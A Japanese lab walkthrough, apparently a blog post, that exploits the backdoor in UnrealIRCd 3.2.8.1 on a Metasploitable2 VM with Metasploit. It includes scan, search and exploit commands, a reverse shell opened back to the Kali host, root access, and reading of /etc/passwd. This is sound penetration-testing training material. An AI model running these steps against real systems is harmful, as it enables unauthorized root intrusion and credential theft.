UnrealIRCd - The most widely deployed IRC server - UnrealIRCd
UnrealIRCd - Wikipedia
セキュリティの問題
2009年11月から2010年6月12日までのバージョン3.2.8.1 の tarball には、ユーザー制限に関係なく、デーモンを実行しているユーザーの権限でコマンドを実行できるトロイの木馬が含まれていました。この問題は修正されました-現在のtarballダウンロードにはトロイの木馬が含まれているとは思われません。2010年1月に、IRCネットワークに対するクロスプロトコルJavaScriptベースの攻撃「Firefox XPS」が報告されました。UnrealIRCd開発者は、その後、アンチスプーフィング設定パラメータを「オン」に設定するためのパッチをリリースしました-デフォルトは以前は「オフ」でした-「kill / zline / etc such connections」。それは構成ファイルの最初の質問です。
UnrealIRCd における任意のコマンドを実行される脆弱性
JVNDB-2010-005500 - JVN iPedia - 脆弱性対策情報データベース
msfconsole を起動する
- Metasploit で使うデータベースを起動する
- データベースの初期化を行う
- msfconsole を起動する
root@kali:~# service postgresql restart root@kali:~# msfdb init [i] Database already started [i] The database appears to be already configured, skipping initialization (← 前回も起動させたので初期化は済んでる) root@kali:~# msfconsole .,,. . .\$$$$$L..,,==aaccaacc%#s$b. d8, d8P d8P #$$$$$$$$$$$$$$$$$$$$$$$$$$$b. `BP d888888p d888888P '7$$$$\""""''^^`` .7$$$|D*"'``` ?88' d8bd8b.d8p d8888b ?88' d888b8b _.os#$|8*"` d8P ?8b 88P 88P`?P'?P d8b_,dP 88P d8P' ?88 .oaS###S*"` d8P d8888b $whi?88b 88b d88 d8 ?8 88b 88b 88b ,88b .osS$$$$*" ?88,.d88b, d88 d8P' ?88 88P `?8b d88' d88b 8b`?8888P'`?8b`?88P'.aS$$$$Q*"` `?88' ?88 ?88 88b d88 d88 .a#$$$$$$"` 88b d8P 88b`?8888P' ,s$$$$$$$"` 888888P' 88n _.,,,ass;: .a$$$$$$$P` d88P' .,.ass%#S$$$$$$$$$$$$$$' .a$###$$$P` _.,,-aqsc#SS$$$$$$$$$$$$$$$$$$$$$$$$$$' ,a$$###$$P` _.,-ass#S$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$####SSSS' .a$$$$$$$$$$SSS$$$$$$$$$$$$$$$$$$$$$$$$$$$$SS##==--""''^^/$$$$$$' _______________________________________________________________ ,&$$$$$$'_____ ll&&$$$$' .;;lll&&&&' ...;;lllll&' ......;;;llll;;;.... ` ......;;;;... . . =[ metasploit v5.0.43-dev ] + -- --=[ 1917 exploits - 1074 auxiliary - 330 post ] + -- --=[ 556 payloads - 45 encoders - 10 nops ] + -- --=[ 4 evasion ]
ポート 6667 で動作しているサービスを確認する。
msf5 > nmap -sV -p 6667 192.168.56.105 [*] exec: nmap -sV -p 6667 192.168.56.105 Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-06 22:49 JST Nmap scan report for 192.168.56.105 Host is up (0.0010s latency). PORT STATE SERVICE VERSION 6667/tcp open irc UnrealIRCd Service Info: Host: irc.Metasploitable.LAN Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 1.72 seconds
対応するエクスプロイトが存在するか検索する。
msf5 > search unrealIRCd Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/unix/irc/unreal_ircd_3281_backdoor 2010-06-12 excellent No UnrealIRCD 3.2.8.1 Backdoor Command Execution
エクスプロイトの情報を確認する。
msf5 > info exploit/unix/irc/unreal_ircd_3281_backdoor Name: UnrealIRCD 3.2.8.1 Backdoor Command Execution Module: exploit/unix/irc/unreal_ircd_3281_backdoor Platform: Unix Arch: cmd Privileged: No License: Metasploit Framework License (BSD) Rank: Excellent Disclosed: 2010-06-12 Provided by: hdm <x@hdm.io> Available targets: Id Name -- ---- 0 Automatic Target Check supported: No Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier (←RHOST として ターゲットアドレスを指定する) RPORT 6667 yes The target port (TCP) (← RPORTとして 6667 を使用する) Payload information: Space: 1024 Description: This module exploits a malicious backdoor that was added to the Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010. References: https://cvedetails.com/cve/CVE-2010-2075/ OSVDB (65445) http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt
このエクスプロイトを使用する。
msf5 > use exploit/unix/irc/unreal_ircd_3281_backdoor
ターゲットホストをセットする。
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOST 192.168.56.105
RHOST => 192.168.56.105
攻撃を実行する。
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit [*] Started reverse TCP double handler on 10.0.2.15:4444 [*] 192.168.56.105:6667 - Connected to 192.168.56.105:6667... :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname... :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead [*] 192.168.56.105:6667 - Sending backdoor command... id (← コマンドを入力)
通常、コマンド入力に対して下記のように反応を返すはずなのだが…
id uid=0(root) gid=0(root) uname -a Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
今回は少しうまくいかず下記のように「Exploit completed, but no session was created.」となる。
id uname -a [*] Exploit completed, but no session was created. 一応コマンドは通る(root 権限で侵入できている)が msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > id [*] exec: id uid=0(root) gid=0(root) groups=0(root) msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > uname -a [*] exec: uname -a Linux kali 5.2.0-kali2-amd64 #1 SMP Debian 5.2.9-2kali1 (2019-08-22) x86_64 GNU/Linux msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > whoami [*] exec: whoami root セッションは繋がっていない msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > show sessions Active sessions =============== No active sessions.
Kali の インターフェースをNATのみとし、IP 10.0.2.15 としていたため、Metasploitable2 の HostOnlyアダプターの IP 192.168.56.105 とセグメントが違ったためだと思う。 Kali に2つ目の NIC を HostOnly アダプターとし、IP 192.168.56.106 で Metasploitable2 側とセグメントを合わせたら接続がスムーズに行った。
root@kali:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.2.15 netmask 255.255.255.0 broadcast 10.0.2.255
~(中略)~
eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.56.106 netmask 255.255.255.0 broadcast 192.168.56.255
~(中略)~
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit [*] Started reverse TCP double handler on 192.168.56.106:4444 [*] 192.168.56.105:6667 - Connected to 192.168.56.105:6667... :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname... :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead [*] 192.168.56.105:6667 - Sending backdoor command... id [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo 1LhnqQR6km6262ML; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket B [*] B: "1LhnqQR6km6262ML\r\n" [*] Matching... [*] A is input... [*] Command shell session 1 opened (192.168.56.106:4444 -> 192.168.56.105:57027) at 2019-09-07 01:28:57 +0900 uid=0(root) gid=0(root) uname -a Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux whoami root (← Metasploitable2 に root 権限で侵入できている) cat /etc/passwd (← パスワードファイルも取得できる) root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh ~(後略)~ ^C (← Ctrl + C で抜ける) Abort session 1? [y/N] y "" [*] 192.168.56.105 - Command shell session 1 closed. Reason: User exit msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) >
接続を切る。
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > back msf5 > exit (or まとめて > quit) root@kali:~#